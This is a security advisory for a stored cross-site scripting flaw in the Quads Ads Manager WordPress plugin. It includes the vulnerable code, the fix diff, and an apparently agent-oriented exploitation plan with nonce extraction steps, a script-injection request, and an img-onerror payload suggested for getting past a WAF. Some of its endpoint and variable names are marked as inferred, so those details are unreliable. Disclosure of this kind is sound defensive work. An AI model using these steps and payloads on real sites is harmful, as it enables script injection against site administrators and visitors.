Quads Ads Manager for Google AdSense <= 2.0.98.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple Ad Metadata Parameters
Description
The Quads Ads Manager for Google AdSense plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.0.98.1 due to insufficient input sanitization and output escaping of multiple ad metadata parameters. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=2.0.98.1What Changed in the Fix
Changes introduced in v2.0.99
Source Code
WordPress.org SVNThis plan outlines the research and exploitation strategy for CVE-2026-2595, a Stored Cross-Site Scripting (XSS) vulnerability in the Quads Ads Manager plugin. ### 1. Vulnerability Summary The Quads Ads Manager plugin (slug: `quick-adsense-reloaded`) is vulnerable to Stored XSS because it fails to …
Show full research plan
This plan outlines the research and exploitation strategy for CVE-2026-2595, a Stored Cross-Site Scripting (XSS) vulnerability in the Quads Ads Manager plugin.
1. Vulnerability Summary
The Quads Ads Manager plugin (slug: quick-adsense-reloaded) is vulnerable to Stored XSS because it fails to sanitize and escape multiple ad-related metadata parameters. Specifically, the function quads_sanitize_post_meta() in admin/includes/common-functions.php explicitly bypasses sanitization for several keys, using only wp_unslash(). When these parameters (such as the ad code) are later rendered on the frontend or in the admin dashboard, arbitrary scripts can be executed.
2. Attack Vector Analysis
- Vulnerable Endpoint: WordPress REST API or AJAX handlers used to save
quads-adsCustom Post Type (CPT) metadata. - Vulnerable Parameters:
visibility_include,visibility_exclude,targeting_include,targeting_exclude,code,random_ads_list, andads_list. - Authentication Level: Contributor or above. Contributors can typically create and edit their own posts of allowed types.
- Preconditions: The
quads-adsCPT must be editable by the attacker.
3. Code Flow
- Entry Point: An authenticated user (Contributor+) sends a request to save or update a
quads-adspost. - Processing: The plugin processes the post metadata. In
admin/includes/common-functions.php, thequads_sanitize_post_metafunction is called:function quads_sanitize_post_meta($key, $meta){ switch ($key) { case 'visibility_include': case 'visibility_exclude': case 'targeting_include': case 'targeting_exclude': case 'code': // <--- Vulnerable: Ad Code case 'random_ads_list': case 'ads_list': $response = wp_unslash($meta); // No sanitization break; default: $response = sanitize_text_field(wp_unslash($meta)); break; } return $response; } - Storage: The unsanitized input is stored in the
postmetatable. Additionally,QUADS_Ad_Migration::quadsUpdateOldAd(inadmin/includes/migration-service.php) may sync this data into the globalquads_settingsoption. - Sink: The stored
code(intended for AdSense scripts) is retrieved and echoed on the frontend via a shortcode or automatic ad placement without escaping.
4. Nonce Acquisition Strategy
The plugin uses a nonce named quads_ajax_nonce for AJAX and likely standard REST cookies for API calls. To extract the required nonce:
- Identify Trigger: The
quads-adsmanagement UI enqueuesadmin/assets/js/dist/adminscript.js. - Setup Page: Create a page with a Quads shortcode to ensure scripts are enqueued.
wp post create --post_type=page --post_status=publish --post_content='[quads id="1"]'
- Extract: Navigate to the page or the admin dashboard as the Contributor.
- Variable Name: Based on standard naming conventions and the bundle structure, look for
quads_ad_objorquads_vars.browser_eval("window.quads_ad_obj?.ajax_nonce")(inferred)- Alternatively, check for the nonce in the admin head:
browser_eval("document.querySelector('#quads_ajax_nonce')?.value")
5. Exploitation Strategy
We will attempt to update the metadata of a quads-ads post via the REST API or the plugin's custom save action.
Step 1: Identify an Ad ID
- List existing ads:
wp post list --post_type=quads-ads - If none exist, create one:
wp post create --post_type=quads-ads --post_title="XSS Ad" --post_status=publish
Step 2: Update Metadata (The Exploit)
Use http_request to send a POST request to the update endpoint. We will target the code parameter.
- URL:
/wp-json/wp/v2/quads-ads/{id}(Standard REST) or/wp-admin/admin-ajax.php - Action (if AJAX):
quads_save_ad_settings(inferred) - Payload:
{ "meta": { "code": "<script>alert('XSS_SUCCESS_CVE_2026_2595')</script>", "visibility_include": "all" } } - Headers:
Content-Type: application/json,X-WP-Nonce: [extracted_nonce]
Step 3: Trigger Execution
Visit the frontend page where the ad is assigned or use a shortcode:
GET /?p=[page_with_ad_id]
6. Test Data Setup
- User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Ad:
wp post create --post_type=quads-ads --post_title="Vulnerable Ad" --post_status=publish --post_author=[attacker_id](Note: Ensure the post ID is captured, e.g.,123). - Display Page:
wp post create --post_type=page --post_title="Ad Display" --post_content='[quads id="123"]' --post_status=publish
7. Expected Results
- The
http_requestshould return a200 OK. - Navigating to the display page in the browser should trigger a JavaScript alert with the string
XSS_SUCCESS_CVE_2026_2595. - The raw source of the page should contain the unescaped
<script>tag within the ad container.
8. Verification Steps (Post-Exploit)
- Database Check:
wp post meta get [ad_id] code- Expected:
<script>alert('XSS_SUCCESS_CVE_2026_2595')</script>
- Expected:
- Global Settings Check:
wp option get quads_settings- Check if the payload has propagated to the serialized settings array.
9. Alternative Approaches
If the standard REST API is restricted:
- AJAX Path: Look for the
quads_save_adaction inadmin/assets/js/dist/adminscript.js. - Migration Sink: If direct editing of
quads-adsis blocked for Contributors, check if the "Migration" settings in the dashboard (if accessible) allow importing raw JSON data containing the payload. - Parameter Variation: If
codeis blocked by a WAF, usevisibility_includewith a payload like"><img src=x onerror=alert(1)>.
Summary
The Quads Ads Manager plugin is vulnerable to Stored Cross-Site Scripting (XSS) via multiple ad metadata parameters in versions up to 2.0.98.1. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript into ad settings, which executes in the context of any user viewing the ad on the frontend or admin dashboard.
Vulnerable Code
// admin/includes/common-functions.php:5 function quads_sanitize_post_meta($key, $meta){ $response = null; switch ($key) { case 'visibility_include': case 'visibility_exclude': $response = wp_unslash($meta); break; case 'targeting_include': case 'targeting_exclude': $response = wp_unslash($meta); break; case 'code': $response = wp_unslash($meta); break; case 'random_ads_list': $response = wp_unslash($meta); break; case 'ads_list': $response = wp_unslash($meta); break; default: $response = sanitize_text_field(wp_unslash($meta)); break; } return $response; }
Security Fix
@@ -10,19 +10,19 @@ case 'visibility_include': case 'visibility_exclude': - $response = wp_unslash($meta); + $response = map_deep(wp_unslash($meta), 'sanitize_text_field'); break; case 'targeting_include': case 'targeting_exclude': - $response = wp_unslash($meta); + $response = map_deep(wp_unslash($meta), 'sanitize_text_field'); break; case 'code': - $response = wp_unslash($meta); + $response = wp_kses_post(wp_unslash($meta)); break; case 'random_ads_list': - $response = wp_unslash($meta); + $response = map_deep(wp_unslash($meta), 'sanitize_text_field'); break; case 'ads_list': - $response = wp_unslash($meta); + $response = map_deep(wp_unslash($meta), 'sanitize_text_field'); break;
Exploit Outline
The vulnerability is exploited by an authenticated attacker (minimum Contributor role) who can modify or create 'quads-ads' custom post types. The attacker sends a request to save ad metadata via the WordPress REST API or an AJAX handler. By including a malicious payload in parameters like 'code', 'visibility_include', or 'ads_list', the attacker bypasses the plugin's insufficient sanitization logic in `quads_sanitize_post_meta()`. The payload is stored in the database and subsequently executed when a site administrator or visitor views the injected ad (e.g., via the [quads] shortcode or automatic placement) because the plugin fails to escape the output.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.